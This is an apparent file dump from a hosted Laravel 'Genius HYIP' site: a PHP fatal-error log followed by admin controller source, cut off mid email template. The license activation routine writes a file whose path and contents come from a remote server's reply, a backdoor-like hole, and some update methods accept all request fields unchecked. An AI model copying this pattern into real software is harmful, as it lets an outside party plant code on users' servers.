Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [25-Nov-2025 02:30:20 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [25-Nov-2025 02:30:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [25-Nov-2025 02:30:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php on line 12 [25-Nov-2025 02:31:32 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RoleController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RoleController.php on line 12 [25-Nov-2025 02:31:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php on line 12 [25-Nov-2025 02:33:25 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [25-Nov-2025 02:33:36 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php on line 13 [25-Nov-2025 02:34:14 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [25-Nov-2025 02:35:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [25-Nov-2025 02:35:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/StaffController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/StaffController.php on line 15 [25-Nov-2025 02:56:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FontController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FontController.php on line 11 [25-Nov-2025 02:58:25 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php on line 11 [25-Nov-2025 03:00:22 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [25-Nov-2025 03:01:13 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [25-Nov-2025 03:02:50 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php on line 14 [25-Nov-2025 03:03:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php on line 32 [25-Nov-2025 03:03:36 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [25-Nov-2025 03:04:15 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [25-Nov-2025 03:05:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [25-Nov-2025 03:06:26 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SeoToolController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SeoToolController.php on line 13 [25-Nov-2025 03:26:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/MessageController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/MessageController.php on line 15 [25-Nov-2025 03:26:26 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [25-Nov-2025 03:26:31 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php on line 11 [25-Nov-2025 03:27:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TeamController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TeamController.php on line 12 [25-Nov-2025 03:29:19 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [25-Nov-2025 03:30:01 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LoginController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LoginController.php on line 14 [25-Nov-2025 03:30:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/KycManageController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/KycManageController.php on line 15 [25-Nov-2025 03:30:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php on line 11 [25-Nov-2025 03:30:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php on line 20 [25-Nov-2025 03:31:28 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogController.php on line 14 [25-Nov-2025 04:28:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SMSController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SMSController.php on line 11 [25-Nov-2025 04:29:29 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php on line 17 [25-Nov-2025 04:34:22 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PlanController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PlanController.php on line 13 [25-Nov-2025 05:25:21 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/InvestController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/InvestController.php on line 20 [25-Nov-2025 05:27:21 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [25-Nov-2025 05:27:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php on line 9 [25-Nov-2025 05:28:01 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/UserController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/UserController.php on line 20 [25-Nov-2025 05:29:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php on line 12 [25-Nov-2025 05:30:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [25-Nov-2025 05:30:21 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BonusController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BonusController.php on line 10 [25-Nov-2025 05:31:18 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReviewController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReviewController.php on line 13 [25-Nov-2025 05:31:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 Controllers/Admin/DashboardController.php 0000644 00000023215 15111246737 0014560 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\AdminUserConversation; use App\Models\BalanceTransfer; use App\Models\Blog; use App\Models\Currency; use App\Models\Deposit; use App\Models\Invest; use App\Models\Item; use App\Models\MoneyRequest; use App\Models\Order; use App\Models\OrderedItem; use App\Models\Plan; use App\Models\Product; use App\Models\ReferralBonus; use App\Models\Transaction; use App\Models\User; use App\Models\UserLoan; use App\Models\Withdraw; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; use InvalidArgumentException; use Zip; class DashboardController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function index() { $data['blogs'] = Blog::all(); $data['deposits'] = Deposit::all(); $data['depositAmount'] = Deposit::whereStatus('complete')->sum('amount'); $data['invests'] = Invest::all(); $data['investsAmount'] = Invest::where('payment_status','completed')->sum('amount'); $data['transfers'] = BalanceTransfer::all(); $data['transfersAmount'] = BalanceTransfer::sum('amount'); $data['requestAmount'] = MoneyRequest::whereStatus(1)->sum('amount'); $data['withdrawAmount'] = Withdraw::whereStatus('completed')->sum('amount'); $data['withdrawChargeAmount'] = Withdraw::sum('fee'); $data['currency'] = Currency::whereIsDefault(1)->first(); $data['transactions'] = Transaction::all(); $data['plans'] = Plan::all(); $data['tickets'] = AdminUserConversation::all(); $data['bonus'] = ReferralBonus::sum('amount'); $data['acustomers'] = User::orderBy('id','desc')->whereIsBanned(0)->get(); $data['bcustomers'] = User::orderBy('id','desc')->whereIsBanned(1)->get(); $data['users'] = User::orderBy('id','desc')->limit(5)->get(); $data['payouts'] = Withdraw::where('status','completed')->sum('amount'); $data['activation_notify'] = ""; if (file_exists(public_path().'/rooted.txt')){ $rooted = file_get_contents(public_path().'/rooted.txt'); if ($rooted < date('Y-m-d', strtotime("+10 days"))){ $activation_notify = "<i class='icofont-warning-alt icofont-4x'></i><br>Please activate your system.<br> If you do not activate your system now, it will be inactive on ".$rooted."!!<br><a href='".url('/admin/activation')."' class='btn btn-success'>Activate Now</a>"; } } return view('admin.dashboard',$data); } public function passwordreset() { $data = Auth::guard('admin')->user(); return view('admin.password',compact('data')); } public function changepass(Request $request) { $admin = Auth::guard('admin')->user(); if ($request->cpass){ if (Hash::check($request->cpass, $admin->password)){ if ($request->newpass == $request->renewpass){ $input['password'] = Hash::make($request->newpass); }else{ return response()->json(array('errors' => [ 0 => 'Confirm password does not match.' ])); } }else{ return response()->json(array('errors' => [ 0 => 'Current password Does not match.' ])); } } $admin->update($input); $msg = 'Successfully change your password'; return response()->json($msg); } public function profile() { $data = Auth::guard('admin')->user(); return view('admin.profile',compact('data')); } public function profileupdate(Request $request) { $rules = [ 'photo' => 'mimes:jpeg,jpg,png,svg', 'email' => 'unique:admins,email,'.Auth::guard('admin')->user()->id ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $input = $request->all(); $data = Auth::guard('admin')->user(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images/',$name); if($data->photo != null) { if (file_exists(public_path().'/assets/images/'.$data->photo)) { unlink(public_path().'/assets/images/'.$data->photo); } } $input['photo'] = $name; } $input['slug'] = str_replace(" ","-",$input['name']); $data->update($input); $msg = 'Successfully updated your profile'; return response()->json($msg); } public function generate_bkup() { $bkuplink = ""; $chk = file_get_contents('backup.txt'); if ($chk != ""){ $bkuplink = url($chk); } return view('admin.movetoserver',compact('bkuplink','chk')); } public function clear_bkup() { $destination = public_path().'/install'; $bkuplink = ""; $chk = file_get_contents('backup.txt'); if ($chk != ""){ unlink(public_path($chk)); } if (is_dir($destination)) { $this->deleteDir($destination); } $handle = fopen('backup.txt','w+'); fwrite($handle,""); fclose($handle); return redirect()->back()->with('success','Backup file Deleted Successfully!'); } public function activation() { $activation_data = ""; if (file_exists(public_path().'/project/license.txt')){ $license = file_get_contents(public_path().'/project/license.txt'); if ($license != ""){ $activation_data = "<i style='color:darkgreen;' class='icofont-check-circled icofont-4x'></i><br><h3 style='color:darkgreen;'>Your System is Activated!</h3><br> Your License Key: <b>".$license."</b>"; } } return view('admin.activation',compact('activation_data')); } public function activation_submit(Request $request) { $purchase_code = $request->pcode; $my_script = 'Genius HYIP'; $my_domain = url('/'); $varUrl = str_replace (' ', '%20', config('services.genius.ocean').'purchase112662activate.php?code='.$purchase_code.'&domain='.$my_domain.'&script='.$my_script); if( ini_get('allow_url_fopen') ) { $contents = file_get_contents($varUrl); }else{ $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, $varUrl); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); $contents = curl_exec($ch); curl_close($ch); } $chk = json_decode($contents,true); if($chk['status'] != "success") { $msg = $chk['message']; return response()->json($msg); }else{ $this->setUp($chk['p2'],$chk['lData']); if (file_exists(public_path().'/rooted.txt')){ unlink(public_path().'/rooted.txt'); } $fpbt = fopen(public_path().'/project/license.txt', 'w'); fwrite($fpbt, $purchase_code); fclose($fpbt); $msg = 'Congratulation!! Your System is successfully Activated.'; return response()->json($msg); } } function setUp($mtFile,$goFileData){ $fpa = fopen(public_path().$mtFile, 'w'); fwrite($fpa, $goFileData); fclose($fpa); } public function movescript(){ ini_set('max_execution_time', 3000); $destination = public_path().'/install'; $chk = file_get_contents('backup.txt'); if ($chk != ""){ unlink(public_path($chk)); } if (is_dir($destination)) { $this->deleteDir($destination); } $src = base_path().'/vendor/update'; $this->recurse_copy($src,$destination); $files = public_path(); $bkupname = 'GeniusCart-By-GeniusOcean-'.date('Y-m-d').'.zip'; $zip = Zip::create($bkupname)->add($files, true); $zip->close(); $handle = fopen('backup.txt','w+'); fwrite($handle,$bkupname); fclose($handle); if (is_dir($destination)) { $this->deleteDir($destination); } return response()->json(['status' => 'success','backupfile' => url($bkupname),'filename' => $bkupname],200); } public function recurse_copy($src,$dst) { $dir = opendir($src); @mkdir($dst); while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src . '/' . $file) ) { $this->recurse_copy($src . '/' . $file,$dst . '/' . $file); } else { copy($src . '/' . $file,$dst . '/' . $file); } } } closedir($dir); } public function deleteDir($dirPath) { if (! is_dir($dirPath)) { throw new InvalidArgumentException("$dirPath must be a directory"); } if (substr($dirPath, strlen($dirPath) - 1, 1) != '/') { $dirPath .= '/'; } $files = glob($dirPath . '*', GLOB_MARK); foreach ($files as $file) { if (is_dir($file)) { self::deleteDir($file); } else { unlink($file); } } rmdir($dirPath); } } Controllers/Admin/SubscriberController.php 0000644 00000002241 15111246737 0014770 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Datatables; use App\Models\Subscriber; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class SubscriberController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Subscriber::orderBy('id','desc'); return Datatables::of($datas) ->addColumn('sl', function(Subscriber $data) { $id = 1; return $id++; }) ->toJson(); } public function index() { return view('admin.subscribers.index'); } public function download() { header('Content-Type: text/csv; charset=utf-8'); header('Content-Disposition: attachment; filename=subscribers.csv'); $output = fopen('php://output', 'w'); fputcsv($output, array('Subscribers Emails')); $result = Subscriber::all(); foreach ($result as $row){ fputcsv($output, $row->toArray()); } fclose($output); } } Controllers/Admin/UserController.php 0000644 00000072575 15111246740 0013616 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Classes\GeniusMailer; use Datatables; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Models\Admin; use App\Models\Follow; use App\Models\Generalsetting; use App\Models\Transaction; use App\Models\User; use App\Models\Withdraw; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; class UserController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = User::orderBy('id','desc'); return Datatables::of($datas) ->addColumn('action', function(User $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin-user-show',$data->id) . '" class="dropdown-item">'.__("Details").'</a> <a href="' . route('admin-user-edit',$data->id) . '" class="dropdown-item" >'.__("Edit").'</a> <a href="javascript:;" class="dropdown-item send" data-email="'. $data->email .'" data-toggle="modal" data-target="#vendorform">'.__("Send").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin-user-delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->addColumn('status', function(User $data) { $status = $data->is_banned == 1 ? __('Block') : __('Unblock'); $status_sign = $data->is_banned == 1 ? 'danger' : 'success'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin-user-ban',['id1' => $data->id, 'id2' => 0]).'">'.__("Unblock").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin-user-ban',['id1' => $data->id, 'id2' => 1]).'">'.__("Block").'</a> </div> </div>'; }) ->rawColumns(['action','status']) ->toJson(); } public function index() { return view('admin.user.index'); } public function image() { return view('admin.generalsetting.user_image'); } public function show($id) { $data = User::findOrFail($id); $data['data'] = $data; return view('admin.user.show',$data); } public function ban($id1,$id2) { $user = User::findOrFail($id1); $user->is_banned = $id2; $user->update(); $msg = 'Data Updated Successfully.'; return response()->json($msg); } public function edit($id) { $data = User::findOrFail($id); return view('admin.user.edit',compact('data')); } public function update(Request $request, $id) { $rules = [ 'photo' => 'mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $user = User::findOrFail($id); $data = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); if($user->photo != null) { if (file_exists(public_path().'/assets/images/'.$user->photo)) { unlink(public_path().'/assets/images/'.$user->photo); } } $data['photo'] = $name; } $user->update($data); $msg = 'Customer Information Updated Successfully.'; return response()->json($msg); } public function adddeduct(Request $request){ $user = User::whereId($request->user_id)->first(); $gs = Generalsetting::first(); $amount = baseCurrencyAmount($request->amount); if($user){ if($request->type == 'add'){ $user->increment('balance',$amount); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "credited", 'cname' => $user->name, 'oamount' => "", 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = "Your Account has been credited"; $msg = "Hello ".$user->name."!\nYour account has been credited by admin.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->back()->with('message','User balance added'); }else{ if($user->balance>=$request->amount){ $user->decrement('balance',$amount); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "debited", 'cname' => $user->name, 'oamount' => "", 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = "Your Account has been debited"; $msg = "Hello ".$user->name."!\nYour account has been debited by admin.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->back()->with('message','User balance deduct!'); }else{ return redirect()->back()->with('warning','User don,t have sufficient balance!'); } } }else{ return redirect()->back()->with('warning','User not found!'); } } public function withdraws(){ return view('admin.user.withdraws'); } public function withdrawdatatables() { $datas = Withdraw::orderBy('id','desc'); return Datatables::of($datas) ->addColumn('email', function(Withdraw $data) { $email = $data->user != NULL ? $data->user->email : __('Customer Deleted'); return $email; }) ->addColumn('phone', function(Withdraw $data) { $phone = $data->user != NULL ? $data->user->phone : __('Customer Deleted'); return $phone; }) ->editColumn('status', function(Withdraw $data) { $status = ucfirst($data->status); return $status; }) ->editColumn('amount', function(Withdraw $data) { return showAdminAmount($data->amount); }) ->editColumn('created_at', function(Withdraw $data) { $date = $data->created_at->diffForHumans(); return $date; }) ->editColumn('status', function(Withdraw $data) { if($data->status == 'pending'){ $status = _('pending'); $status_sign = 'warning'; }elseif($data->status == 'completed'){ $status = _('completed'); $status_sign = 'success'; }else{ $status = _('rejected'); $status_sign = 'danger'; } return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.withdraw.status',['id1' => $data->id, 'id2' => 'pending']).'">'.__("Pending").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.withdraw.status',['id1' => $data->id, 'id2' => 'rejected']).'">'.__("Reject").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.withdraw.status',['id1' => $data->id, 'id2' => 'completed']).'">'.__("Completed").'</a> </div> </div>'; }) ->addColumn('action', function(Withdraw $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-href="' . route('admin.withdraw.show',$data->id) . '" class="dropdown-item" id="applicationDetails" data-toggle="modal" data-target="#details">'.__("Details").'</a> </div> </div>'; }) ->rawColumns(['name','email','amount','status','action']) ->toJson(); } public function withdrawdetails($id) { $withdraw = Withdraw::findOrFail($id); return view('admin.user.withdraw-details',compact('withdraw')); } public function status($id1,$id2){ $gs = Generalsetting::first(); $admin = Admin::first(); $withdraw = Withdraw::findOrFail($id1); $user = User::findOrFail($withdraw->user->id); if($withdraw->status == 'completed'){ $msg = 'Withdraw already completed'; return response()->json($msg); } if($withdraw->status == 'rejected'){ $msg = 'Withdraw already rejected'; return response()->json($msg); } if($id2 == 'pending'){ $msg = 'Withdraw updated successfully'; return response()->json($msg); } if($id2 == 'rejected'){ $data['status'] = "rejected"; $withdraw->update($data); $user->balance = $user->balance + $withdraw->amount + $withdraw->fee; $user->update(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $withdraw->amount + $withdraw->fee; $trans->type = "Payout Rejected"; $trans->profit = "plus"; $trans->txnid = Str::random(12); $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { /* $data = [ 'to' => $user->email, 'type' => "Withdraw", 'cname' => $user->name, 'oamount' => $withdraw->amount + $withdraw->fee, 'aname' => $admin->name, 'aemail' => $admin->email, 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); */ $subject = 'Withdrawal Request Rejected'; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Withdrawal Request Rejected</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 200px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 6px 12px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 